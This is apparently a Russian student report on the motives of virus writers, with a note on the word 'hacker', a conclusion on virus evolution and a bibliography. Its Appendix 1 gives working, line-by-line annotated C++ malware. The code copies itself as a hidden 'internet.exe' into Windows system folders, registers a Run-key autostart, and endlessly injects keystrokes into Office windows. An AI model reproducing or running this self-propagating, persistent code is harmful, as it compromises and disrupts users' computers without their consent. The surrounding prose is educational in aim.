Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Медведева_4144_2.docx
Скачиваний:
4
Добавлен:
01.03.2025
Размер:
63.87 Кб
Скачать
  1. Мотивы написания вирусов

Попробуем понять, зачем люди пишут вирусы?

    1. Для удовольствия

Это первая и наиболее основная причина. Это может звучать смешно, по сравнению с наносимым ущербом, но автору было просто интересно, что может произойти.

    1. Поиск известности

Вторая причина для написания - это добиться того, чтобы твой кусок кода появился на Wildlist, сайте освещающем циркулирующие в данный момент по миру вирусы.

    1. Раскрывшиеся серьезные кодеры

Эта группа включает в себя более опасных и серьезных кодеров, которые имеют достаточно серьезный опыт в программировании, и могут писать на уровне антивирусной индустрии. В созданные вирусы они добавляют процедуры и функции не дающие при дизассемблировании получить исходный код. Обычно такие вирусы пишутся для какого-либо исследования, а не для нанесения вреда конечному пользователю. Хотелось бы упомянуть, что доступ к этому коду имеет достаточно ограниченное количество людей, и все из этой же группы, либо этот код становится доступным в сети, как доказательство найденной уязвимости. Они не наносят никому ущерба, а указывают на направление, откуда ущерб может быть нанесен.

    1. Рассерженные одиночки

Последняя и наиболее опасный тип вирусописателя. Их не интересует какая-либо мораль или закон, и забота о том ущербе, который может понести пострадавший. У каждого из них есть своя персональная цель. Они не относят себя ни к какой группе кодеров, ни в коей мере. Их задача нанести максимальный урон или создать вирус который "даст власть над всем миром".

Этих людей нельзя подвести под общие рамки вирусописателей, так как у каждого их них своя мораль и о ней никто не знает. Сейчас к этой группе относится не так много людей. И хорошо, что пока их амбиции не совпадают с их возможностями. Однако, с учетом того, насколько чаще находятся уязвимости в используемом всеми ПО, шанс добиться своей цели у них с каждым днем все выше.

    1. Увлечение

Как уже говорилось, многие вирусописатели делают это из увлечения. У кого-то есть достаточно свободного времени, которое он проводит за любимым занятием. Это скорее относится к молодым людям, так как у более старшего поколения чаще гораздо больше забот.

Их можно сравнить с первой группой, однако чаще они более грамотно программируют, часами смотрят логи на наличие частей пропущенного кода, или раз за разом проверяют работоспособность своих творений под различными ОС (своего рода бета-тестирование). Кодеры часто помогают друг другу советами, делятся информацией, ночами изучают новые вирусы, или придумывают новые идеи.

  1. Хакеры

Понятие компьютерного вируса ассоциируется с хакерами.

Хакер (англ. hacker, от to hack — рубить, кромсать) — чрезвычайно квалифицированный ИТ-специалист, человек, который понимает самые глубины работы компьютерных систем. Изначально хакерами называли программистов, которые исправляли ошибки в программном обеспечении каким-либо быстрым и далеко не всегда элегантным (в контексте используемых в программе стиля программирования и ее общей структуры, дизайна интерфейсов) или профессиональным способом; слово hack пришло из лексикона хиппи, в русском языке есть идентичное жаргонное слово "врубаться".

Сейчас хакеров очень часто отождествляют с компьютерными взломщиками — крэкерами (англ. cracker, от to crack — раскалывать, разламывать); однако такое употребление слова «хакер» неверно.

Заключение

В настоящее время для существует несколько десятков тысяч компьютерных вирусов и их число продолжает расти. Поэтому следует, с одной стороны, ожидать постепенного проникновения в Россию новых, более опасных и изощренно написанных вирусов, включая стелс-вирусы, и с другой - потока сравнительно простых, а зачастую и безграмотно написанных вирусов в результате "вирусного взрыва" внутри самой страны. Не следует думать, что эволюция вирусов пойдет только в направлении их усложнения.

Опыт показал, что сложность стелс-вирусов существенно снижает их жизнеспособность. Как отмечал С.Н.Паркинсон в одном из своих знаменитых законов, "рост означает усложнение, а усложнение - разложение". По-видимому, эволюция компьютерных вирусов будет идти сразу в нескольких направлениях, лишь одним из которых являются стелс-вирусы.

Хотя общее количество вирусов велико, лежащие в их основе идеи сравнительно малочисленны и не так просто поддаются расширению. Поэтому основной тенденцией, наблюдаемой в настоящее время, является не столько появление новых типов вирусов, сколько комбинирование уже известных идей. Такие "гибриды", как правило, оказываются опаснее базисных видов.

Еще чаще наблюдается тенденция к минимальной модификации одного из получивших широкое распространение вирусов, что приводит к образованию вокруг "базисного" вируса группы штаммов, причем их количество в некоторых случаях превышает десяток.

Список литературы

  1. Безруков Н.Н. Компьютерная вирусология. - К.: УРЕ, 1991.

  2. Защита программного обеспечения. Под ред. Гроувера Д. -М.: Мир, 1992.

  3. Зегжда Д.П., Матвеев В.А., Молотков С.В., Тихомиров Ю.В., под редакцией Шмакова Э. М. Защита информации в компьютерных системах. Теоретические аспекты защиты от вирусов. - СПб.: СПбГТУ, 1993.

  4. Касперский Е. Компьютерные вирусы: эволюция вверх, вниз ив стороны. Материалы эхо-конференции SU.VIRUS. - 1994.

  5. Микляев А. Настольная книга пользователя

  6. Расторгуев С.П., Дмитриевский Н.Н. Искусство защиты и “раздевания" программ. - М.: 1991.

  7. Спесивцев А.В. и др. Защита информации в персональных ЭВМ. М.: Радио и связь, 1992

  8. Фигурнов В.Э. IBM PC для пользователя

  9. Cohen F. Computer viruses. Theory and experiments // Adv.Comput. Syst. Secur. Vol. 3 - Norwood (Mass), 1988.

Приложение 1. Пример вредоносного кода на C++

Подключаем библиотеки и создаем основные переменные.

#include <windows.h>

#include <iostream.h>

WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

HKEY key;

char sysdir[256],

windir[256],

myname[256];

Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory

GetModuleFileName(hint,myname,256);

GetWindowsDirectory(windir,sizeof(windir));

GetSystemDirectory(sysdir,sizeof(sysdir));

Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.

strcat(windir,"\\internet.exe");

strcat(sysdir,"\\internet.exe");

Копируемся и ставим себе скрытые атрибуты

CopyFile(myname,windir,FALSE);

CopyFile(myname,sysdir,FALSE);

SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

Прописываемся в реестр на автозагрузку

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);

RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);

RegCloseKey(key);

Ожидаем 2 минуты.

Sleep(60000*2); //Две минуты

Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер".

int k=0;

do

{

if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)

{

ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);

LoadKeyboardLayout("00000419", KLF_ACTIVATE);

Sleep(10000);

do

{

keybd_event('D', 0,0,0);

keybd_event('D', 0,KEYEVENTF_KEYUP,0);

keybd_event('S', 0,0,0);

keybd_event('S', 0,KEYEVENTF_KEYUP,0);

keybd_event(VK_SPACE, 0,0,0);

keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);

keybd_event('K', 0,0,0);

keybd_event('K', 0,KEYEVENTF_KEYUP,0);

keybd_event('F', 0,0,0);

keybd_event('F', 0,KEYEVENTF_KEYUP,0);

keybd_event('V', 0,0,0);

keybd_event('V', 0,KEYEVENTF_KEYUP,0);

keybd_event('T', 0,0,0);

keybd_event('T', 0,KEYEVENTF_KEYUP,0);

keybd_event('H', 0,0,0);

keybd_event('H', 0,KEYEVENTF_KEYUP,0);

}while(1);

}

}while(1);

}

.